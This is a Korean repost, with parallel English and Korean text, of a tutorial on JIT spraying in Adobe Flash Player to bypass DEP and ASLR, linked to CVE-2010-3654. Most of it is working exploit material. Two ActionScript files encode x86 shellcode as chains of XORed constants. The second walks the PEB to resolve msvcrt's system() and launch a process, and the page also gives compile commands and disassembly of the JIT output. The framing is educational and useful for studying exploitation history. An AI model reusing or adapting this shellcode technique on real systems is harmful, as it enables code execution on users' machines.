Merry Christmas

출처 : https://badishi.com/jit-spraying-primer-and-cve-2010-3654/

 

 

 

jit.docx

 

Lately, hackers are forced to be more and more creative as defense mechanisms are piling up, making exploitation more difficult. Most notably, data execution prevention (DEP) and address space layout randomization (ASLR), both present on Windows 7 and current browsers, make drive-by exploits a real pain. In this post we explain the concept of using the Just-In-Time (JIT) compiler to bypass DEP and ASLR.

 

최근에 공격자들은 익스플로잇을 더욱 어렵게 하는 다양한 보호 매커니즘을 접하고 있다. 특히 Windows 7과 브라우저에 적용된 DEP ASLR은 익스플로잇이 실패하는데 직접적인 원인이 된다. 이 문서는 DEP ASLR을 우회하기 위해 사용되는 JIT 컴파일러의 개념을 설명한다.

 

It all started with SkyLined’s heap spraying technique, where JavaScript code on a web page was used to allocate many blocks on the heap, each containing a nop-sled and the shellcode (or stage-0). When DEP was not enabled, this was more than enough, as a jump to one of the allocated regions immediately started executing the shellcode (perhaps after a nop-sled). As DEP is currently enabled on all browsers, using heap sprays becomes more difficult, as return oriented programming (ROP) must be used, in spite of ASLR.

 

웹 페이지의 자바스크립트를 통해 힙에 많은 메모리를 할당하는 기법은, heap spraying이라는 이름으로 SkyLined에 의해 처음 소개되었다. Heap spray를 통해 할당된 각 메모리 블록은 nop shellcode로 구성되어 있는데, 만약 DEP가 활성화 되어있지 않은 환경이라면, 프로그램의 실행흐름을 이 메모리 블록(heap spray를 통해 생성된)으로 바꾸는 것으로 쉘코드를 실행할 수 있다. 최근에는 모든 브라우저에서 DEP를 제공하기 때문에, heap spray를 통한 공격이 어려워졌다. 이 때문에, ASLR이라는 보호 매커니즘이 존재함에도 불구하고 ROP가 사용되고 있다.

 

But why go through all these hurdles when you can simply use a region of memory that has both controllable data and execute permissions? You just need to find a program that must dynamically allocate memory in this fashion. A natural choice would be JIT compilers, as their sole purpose is to compile a scripting language (or byte-code) to machine instructions on the fly, so as to improve execution speed.

 

만약 데이터를 제어할 수 있고 실행권한 까지 가진 메모리를 사용할 수 있다면, 이런 고생을 할 필요가 있을까? 이러한 것을 가능하게 하려면 동적으로 메모리를 할당하는 프로그램을 찾아야 한다. 이러한 프로그램에는 JIT compiler가 있는데, 이 프로그램은 스크립트 언어(또는 byte code)를 기계어로 변환하는 역할을 한다. 변환은 실시간으로 일어나기 때문에, 프로그램의 실행 속도를 향상시킬 수 있다.

 

The concept of JIT spraying was first introduced by Dion Blazakis in his Black Hat presentation (better read the paper), where he focused on Adobe Flash Player, and the Adobe ActionScript Virtual Machine (AVM2). Alexey Sintsov continued Dion’s work, providing some source code along the way.

 

JIT spraying의 개념은 블랙햇에서 Dion Blazakis에 의해 처음 소개되었는데, Adobe Flash Palyer AVM2 JIT Compiler를 사용하는 개념이었다. 여기에서 더 나아가, Alexey Sintsov는 이를 실현할 수 있는 소스코드를 제공하였다.

 

We now describe how to perform the JIT spray, with Adobe Flash Player 9 (standalone version) as an example, using ActionScript and SWF files. I always like to take a look at a format’s specification when I study exploitation details, so I encourage you to read the SWF format specification (or if you’re lazy, at least read a very short summary of it). To compile ActionScript code and manipulate SWF files, you can download Adobe Flex SDK or SWFTools. Most examples presented here are based on SWFTools.

 

이제부터, Adobe Flash Player 9 환경(standalone 버전)에서 ActionScript SWF파일을 통해 JIT spray가 어떻게 동작하는지 설명한다. 취약점을 분석할 때 포맷을 알고 있으면 좋기 때문에, SWF 포맷에 대해 공부해볼 것을 권한다(최소한 그 문서의 개요라도 읽어야 한다). ActionScript를 컴파일하고 SWF 파일을 다루려면 Adobe Flex SDK SWFTools가 있어야 하는데, 이 문서에서는 주로 SWFTools를 사용한다.

 

First, let’s look at Alexey Sintsov’s simple JIT code:

 

Alexey Sintsov JIT code를 살펴보자.

 

//

// By Alexey Sintsov

//    dookie@inbox.ru

//    a.sintsov@dsec.ru

//

//    DSecRG - Digital Security Research Group [dsecrg.com]

//

//  hardcoded system() - notepad

//

 

package {

    import flash.display.MovieClip

    public class Main extends MovieClip

    {

        function funcXOR1()

        {

            var ret=(0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C90ec8b^0x3C909055^0x3C90ec8b^0x646170b8^0x000000b9^0x3c90c12b^0x3c909050^0x3f6f6eb8^0x0000b990^0x3c909030^0x3c90c103^0x3c909050^0x3cf8458d^0x3c909050^0x35b89090^0x3c9077c1^0x3c90c7b0^0x3c9093b4^0x3ccd0ff);

            return ret;

        }

       

        function Main()

        {

            var ret1=funcXOR1();

        }

    }

}

 

Compile using SWF tools:

 

다음과 같이 컴파일 한다.

 

as3compile -o jit.swf jit_simpl.as

 

Look at the resulting SWF file using a hex editor:

 

컴파일이 완료된 후 hex editor를 통해 열어보면 다음과 같은 결과를 확인할 수 있다.

 

 

The “CWS” at the beginning of the file tells us that the SWF file is compressed. Let’s decompress it:

 

“CWS” SWF 파일이 압축되어 있음을 의미한다. 다음과 같은 명령어로 압축을 해제할 수 있다.

 

swfcombine -d -o jit_extracted.swf jit_simpl.swf

 

The contents of the extracted SWF are:

 

SWF 파일의 압축이 풀리면 다음과 같이 된다.

 

 

Manual decoding of the extracted SWF gives:

 

압축이 풀린 파일을 한번 살펴보자.

 

465753 - "FWS" signature

09 - Version 9

60040000 - Size 0x460 (1120 bytes)

70000FA00000BB80 - RECT record, 14 bits per field: twips: (0, 0) to (0x1F40, 0x1770) ==> pixels: (0, 0) to (400, 300)

0019 - 25.0 frames per second

0100 - One frame in file

 

4411 - Tag 69 (FileAttributes), size: 4 bytes

08 - ActionScript 3.0

000000 - Reserved

 

BF14 - Tag 82 (DoABC), size in next 4 bytes

31040000 - Size 0x431 (1073 bytes)

00000000 - Flags

00 - Name (empty)

 

----- BEGIN abcFile -----

 

0010 - Minor version 16

2E00 - Major version 46

 

constant_pool:

 

           11 - 16 integer entries + 1

                     90A1C2E403 - integer[1] = 0x3C909090

                     D0A0C2E403 - integer[2] = 0x3C909050

                     8BD9C3E403 - integer[3] = 0x3C90EC8B

                     AB82C3E403 - integer[4] = 0x3C90C12B

                     B8E185A306 - integer[5] = 0x646170B8

                     D5A0C2E403 - integer[6] = 0x3C909055

                     B8DDBDFB03 - integer[7] = 0x3F6F6EB8

                     90F302 - integer[8] = 0xB990

                     B0A0C2E403 - integer[9] = 0x3C909030

                     8382C3E403 - integer[10] = 0x3C90C103

                     8D8BE1E703 - integer[11] = 0x3CF8458D

                     90A1E2AD03 - integer[12] = 0x35B89090

                     C1EFC1E403 - integer[13] = 0x3C9077C1

                     B08FC3E403 - integer[14] = 0x3C90C7B0

                     B4A7C2E403 - integer[15] = 0x3C9093B4

                     FFA1B31E - integer[16] = 0x03CCD0FF

           00 - No uints

           00 - No doubles

           0D - 12 string entries + 1

                     00 - string[1] = ""

                     094D6F766965436C6970 - string[2] = "MovieClip"

                     0866756E63584F5231 - string[3] = "funcXOR1"

                     064F626A656374 - string[4] = "Object"

                     0F4576656E7444697370617463686572 - string[5] = "EventDispatcher"

                     0D446973706C61794F626A656374 - string[6] = "DisplayObject"

                     11496E7465726163746976654F626A656374 - string[7] = "InteractiveObject"

                     16446973706C61794F626A656374436F6E7461696E6572 - string[8] = "DisplayObjectContainer"

                     06537072697465 - string[9] = "Sprite"

                     044D61696E - string[10] = "Main"

                     0D666C6173682E646973706C6179 - string[11] = "flash.display"

                     0C666C6173682E6576656E7473 - string[12] = "flash.events"

           05 - 4 namespaces + 1

                     160B - namespace[1] = Package NS: "flash.display"

                     1601 - namespace[2] = Package NS: "" (global)

                      160C - namespace[3] = Package NS: "flash.events"

                     1701 - namespace[4] = Package internal NS: ""

           00 - No namespace sets

           0A - 9 multinames + 1

                     070102 - multiname[1] = flash.display::MovieClip

                     070403 - multiname[2] = (internal)::funcXOR1

                     07020A - multiname[3] = ::Main

                     070204 - multiname[4] = ::Object

                     070305 - multiname[5] = flash.events::EventDispatcher

                     070106 - multiname[6] = flash.display::DisplayObject

                     070107 - multiname[7] = flash.display::InteractiveObject

                     070108 - multiname[8] = flash.display::DisplayObjectContainer

                     070109 - multiname[9] = flash.display::Sprite

          

...

 

This information is not necessary for the JIT spray itself, but it will come in handy soon enough, when we exploit a Flash Player vulnerability.

 

이 정보가 JIT spray를 할때는 필요하지 않지만, 플래시 플레이어의 취약점을 분석할 때는 충분히 가치가 있다.

 

Loading the SWF file into Flash Player 9 (standalone version) we can see that the JIT compiler has generated code that matches the script that we’ve written:

 

SWF 파일이 Flash Player 9에서 로딩이 되면, JIT 컴파일러가 우리가 작성한 스크립트에 대한 코드를 생성한다.

 

 

However, if we manage to jump one byte into the code (right after the mov instruction), it will look very different:

 

하지만 우리가 코드 내의 실행흐름을 얻는다 해도(mov 명령 바로 뒤쪽), 코드가 매우 다르게 보인다.

 

 

Filtering out all the nops and nop-equivalents, we get:

 

놉에 해당하는 코드를 지워보자.

 

mov ebp,esp

push ebp

mov ebp,esp

mov eax,0x35646170

mov ecx,0x35000000

sub eax,ecx

push eax

mov eax,0x353f6f6e

mov ecx,0x30350000

add eax,ecx

push eax

lea eax,dword ptr ss:[ebp-8]

push eax

mov eax,0x77c13535

mov al,0xc7

mov ah,0x93

call eax

int 3

 

Which can be compressed to:

 

이것은 다음과 같이 요약할 수 있다.

 

mov ebp,esp

push 0x00646170

push 0x65746F6E

sub ebp,8

push ebp                    ; Address of "notepad" on stack

mov eax,0x77c193c7        ; msvcrt.system

call eax

int 3

 


 

 

 

The fact that we need to compensate for the xor opcode (0×35) makes the actual code larger.

 

코드를 크게 만드는 xor opcode를 정리할 필요가 있다.

 

As Alexey Sintsov mentioned, it’s important to keep the size of the code small, or else Flash Player will allocate more memory for the JIT code, resulting in much more distance between each loaded SWF file in the spray (the minimal distance we get is 0×10000). Additionally, each xored number must have its leftmost bit set to 0, or the code gets JITted with extra opcodes that ruin our shellcode. Moreover, it’s important to choose the right compiler for your ActionScript file. In this case, using mxmlc (from the Flex package) generates “xor ebx” opcodes, each taking 2 bytes, once again ruining our shellcode.

 

Alexey Sintsov에 따르면, 코드의 사이즈를 작게 유지하는 것이 매우 중요하다고 한다. 그렇지 않으면 플래시 플레이어가 JIT 코드에 할당하는 메모리가 더욱 더 많아지고, 결과적으로 로드된 SWF 파일들 사이의 거리가 멀어진다(최소한의 거리는 0x10000). – nop+shellcode가 지속적으로 나와야 하는데 nop+shellcode 블록마다 거리가 길어진다는 뜻인 듯 –. 추가적으로, xor되는 연산이나 생성된 코드 등에 의해 bit들이 변조되거나, 쉘코드의 실행에 영향을 줄 수 있다. 액션스크립트에 맞는 컴파일러를 선택하는 것도 중요한 고려사항이다. Flex 패키지의 mxmlc를 사용할 경우 2byte의 크기를 가진 “xor ebx”가 생성되는데, 이는 쉘코드의 실행해 영향을 줄 수 있다.

 

When loading the SWF many times (performing the JIT spray), we get the following memory layout:

 

JIT spray가 동작함에 따라 SWF가 장시간에 걸쳐 로딩될 때, 메모리 구조는 다음과 같다.

 

 

We don’t have to worry much about Windows 7′s ASLR, since it’s not used for VirtualAlloc.

 

Windows 7 ASLR VirtualAlloc 함수에는 적용되지 않기 때문에, Winodws 7 환경의 ASLR도 걱정할 필요가 없다.

 

More Realistic Code

 

The proof of concept code uses the static address of msvcrt.dll’s system function (which is 0x77C193C7 in the given example, but 0x77C293C7 on current Windows XP SP3 machines). We don’t want to rely on static addresses, so here’s an ActionScript file that uses the Thread Information/Environment Block (TIB/TEB), to get to the Process Environment Block (PEB), search the loaded modules for msvcrt.dll, walk over its export table, and find the real address of system:

 

poc에서는 msvcrt.dll의 함수내의 정적인 주소를 사용했다(0x77c193c7windows xp sp3에서 사용한 주소). 정적인 주소를 사용하는 것은 제약이 많기 때문에, 여기에서는 TIB PEB를 이용하는 ActionScript 파일을 통해 PEB 블록을 가져온 후, msvcrt.dll을 검색해 함수의 주소를 가져온다.

 

// Original size: 0x185 bytes Flash Player header + XOR code + trailer

// The CVE-2010-3654 vulnerability will change EIP like this: [[[addr + 10h] + 4Ch] + 0Ch]

// Where "addr" is the address returned by the exploited function (see exploit code), currently 0x09090176

// The first 3 xored DWORDs are there for the aforementioned dereferencing

 

package {

 

    import flash.display.MovieClip

 

    public class Main extends MovieClip

    {

 

        function funcXOR1()

        {

 

            var ret = (

           

            // 3 addresses for CVE-2010-3654's dereferencing + NOP sled (unused, really)

            0x0909013F^0x09090184^0x09090195^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^

 

            // Find msvcrt.dll's base address through the PEB

            // Most JIT xor bytes are not included

            //           

            // 00688931      33C0          XOR EAX,EAX

            // 00688933      B0 18         MOV AL,18

            // 00688935      8BF8          MOV EDI,EAX

            // 00688937      64:8B1F       MOV EBX,DWORD PTR FS:[EDI]

            // 0068893A      B0 30         MOV AL,30

            // 0068893C      8B1C18        MOV EBX,DWORD PTR DS:[EAX+EBX]

            // 0068893F      B0 0C         MOV AL,0C

            // 00688941      8B1C18        MOV EBX,DWORD PTR DS:[EAX+EBX]

            // 00688944      B0 1C         MOV AL,1C

            // 00688946      8B1C18        MOV EBX,DWORD PTR DS:[EAX+EBX]

            // 00688949      FC            CLD

            // 0068894A      33C9          XOR ECX,ECX

            //0068894C      BA 6C356C00   MOV EDX,006C356C;  XOR embedded

            // 00688951      B6 00         MOV DH,0

            // 00688953      52            PUSH EDX                                       

            // 00688954     BA 2E356400   MOV EDX,0064352E     ;  XOR embedded

            // 00688959      B6 00         MOV DH,0

            // 0068895B      52            PUSH EDX                                       

            // 0068895C     BA 72357400 MOV EDX,00743572       ;  XOR embedded

            // 00688961      B6 00         MOV DH,0

            // 00688963      52            PUSH EDX                                       

            // 00688964  BA 76356300 MOV EDX,00633576          ;  XOR embedded

            // 00688969      B6 00         MOV DH,0

            // 0068896B      52            PUSH EDX                                       

            //0068896C      BA 6D357300   MOV EDX,0073356D        ;  XOR embedded

            // 00688971      B6 00         MOV DH,0

            // 00688973      52            PUSH EDX                                       

            // 00688974      B0 20         MOV AL,20

            // 00688976      8BF4          MOV ESI,ESP

            // 00688978      8B3C18        MOV EDI,DWORD PTR DS:[EAX+EBX]

            // 0068897B      B1 05         MOV CL,5

            // 0068897D     F3:A7    REPE CMPS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

            // 0068897F      EB 01    JMP SHORT 00688982

            // 00688981      90            NOP             ;  XOR

            // 00688982      74 0A         JE SHORT 0068898E

            // 00688984      90            NOP

            // 00688985      90            NOP

            // 00688986      90            NOP               ;  XOR

            // 00688987      8B1B          MOV EBX,DWORD PTR DS:[EBX]

            // 00688989      90            NOP

            // 0068898A      90            NOP

            // 0068898B      90            NOP              ;  XOR

            // 0068898C      EB E0        JMP SHORT 00688976      

// ;  The operand byte here takes into account the xors/nops

            // 0068898E      90            NOP                                            

            // 0068898F      B0 08         MOV AL,8

            // 00688991   8B1C18  MOV EBX,DWORD PTR DS:[EAX+EBX]

// ;  EBX now contains msvcrt.dll's base address

 

            // Find msvcrt.dll's base address and put it in EBX

            0x3C90C033^0x3C9018B0^0x3C90F88B^0x3C1F8B64^0x3C9030B0^0x3C181C8B^0x3C900CB0^0x3C181C8B^0x3C901CB0^0x3C181C8B^0x3C9090FC^0x6CBAC933^0x3C90006C^0x3C5200B6^0x2EBA9090^0x3C900064^0x3C5200B6^0x72BA9090^0x3C900074^0x3C5200B6^0x76BA9090^0x3C900063^0x3C5200B6^0x6DBA9090^0x3C900073^0x3C5200B6^0x3C9020B0^0x3C90F48B^0x3C183C8B^0x3C9005B1^0x01EBA7F3^0x3C900A74^0x3C901B8B^0x3C90E0EB^0x3C9008B0^0x3C181C8B^

 

            // Find the address of system using msvcrt.dll's export table

            // The code assumes the function exists, and will probably crash if it doesn't

            // Other assumptions on sizes of RVAs are also made (and noted in the code)

            // Most JIT xor bytes are not included

            //

            // 02650CA5    B0 3C           MOV AL,3C

            // 02650CA7    8B0418   MOV EAX,DWORD PTR DS:[EAX+EBX]

//; Start of PE header (should be just 1 byte, but 2 is also fine)

            // 02650CAA    04 78           ADD AL,78

            // 02650CAC    EB 01           JMP SHORT 02650CAF

            // 02650CAE 90              NOP          ; XOR

            // 02650CAF    80D4 00   ADC AH,0   ; There shouldn't be an overflow here

            // 02650CB2    8B0418  MOV EAX,DWORD PTR DS:[EAX+EBX] ; Export dir

            // 02650CB5    8BD0            MOV EDX,EAX

            // 02650CB7    B1 1C           MOV CL,1C

            // 02650CB9    03D1            ADD EDX,ECX

            // 02650CBB    8B041A  MOV EAX,DWORD PTR DS:[EDX+EBX]

// ; Address of functions

            // 02650CBE    B1 04           MOV CL,4

            // 02650CC0    03D1            ADD EDX,ECX

            //02650CC2  8B141A  MOV EDX,DWORD PTR DS:[EDX+EBX] ; Address of names

            // 02650CC5    B9 65350000     MOV ECX,3565

            // 02650CCA    B5 6D           MOV CH,6D

            // 02650CCC    51              PUSH ECX

            // 02650CCD    B9 73357374     MOV ECX,74733573

            // 02650CD2    B5 79           MOV CH,79

            // 02650CD4    51              PUSH ECX

            // 02650CD5    33C9            XOR ECX,ECX

            // 02650CD7    B1 07           MOV CL,7

            // 02650CD9    8BF4  MOV ESI,ESP            ; "system"

            // 02650CDB    8B3C1A       MOV EDI,DWORD PTR DS:[EDX+EBX]

            // 02650CDE    03FB   ADD EDI,EBX   ; Address of exported function name

            // 02650CE0    F3:A6           REPE CMPS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

            // 02650CE2    EB 01           JMP SHORT 02650CE5

            // 02650CE4 90              NOP          ; XOR

            // 02650CE5    74 17           JE SHORT 02650CFE

            // 02650CE7    90              NOP

            // 02650CE8    90              NOP

            // 02650CE9   90              NOP            ; XOR

            // 02650CEA    B1 04           MOV CL,4

            // 02650CEC    90              NOP

            // 02650CED    3C 35           CMP AL,35        ; XOR

            // 02650CEF    03D1            ADD EDX,ECX

            // 02650CF1    90              NOP

            // 02650CF2    3C 35           CMP AL,35      ; XOR

            // 02650CF4    03C1            ADD EAX,ECX

            // 02650CF6    90              NOP

            // 02650CF7    3C 35           CMP AL,35             ; XOR

            // 02650CF9    EB D1          JMP SHORT 02650CD7        

//; The operand byte here takes into account the xors/nops

            // 02650CFB    90              NOP

            // 02650CFC    3C 35           CMP AL,35          ; XOR

            // 02650CFE    8B0418          MOV EAX,DWORD PTR DS:[EAX+EBX]

            // 02650D01    03D8    ADD EBX,EAX    ; EBX now holds the address of system

 

            // Find the address of system and put it in EBX

            0x3C903CB0^0x3C18048B^0x01EB7804^0x3C00D480^0x3C18048B^0x3C90D08B^0x3C901CB1^0x3C90D103^0x3C1A048B^0x3C9004B1^0x3C90D103^0x3C1A148B^0x65B99090^0x3C900000^0x3C516DB5^0x73B99090^0x3C907473^0x3C5179B5^0x3C90C933^0x3C9007B1^0x3C90F48B^0x3C1A3C8B^0x3C90FB03^0x01EBA6F3^0x3C901774^0x3C9004B1^0x3C90D103^0x3C90C103^0x3C90D1EB^0x3C18048B^0x3C90D803^

           

            // Run notepad using system (call ebx)

            0x3C90ec8b^0x3C909055^0x3C90ec8b^0x646170b8^0x000000b9^0x3c90c12b^0x3c909050^0x3f6f6eb8^0x0000b990^0x3c909030^0x3c90c103^0x3c909050^0x3cf8458d^0x3c909050^0x3ccd3ff);

 

            return ret;

        }

       

        function Main()

        {

            var ret1 = funcXOR1();

        }

    }

}

 

The code is not optimized, but it does show you several ways of transforming assembly code into Flash Player compatible JIT code.

 

이 코드가 최적화 된 코드는 아니지만, Flash PlayerJIT code의 실행흐름을 보여줄 수는 있을 것이다.

 

 

: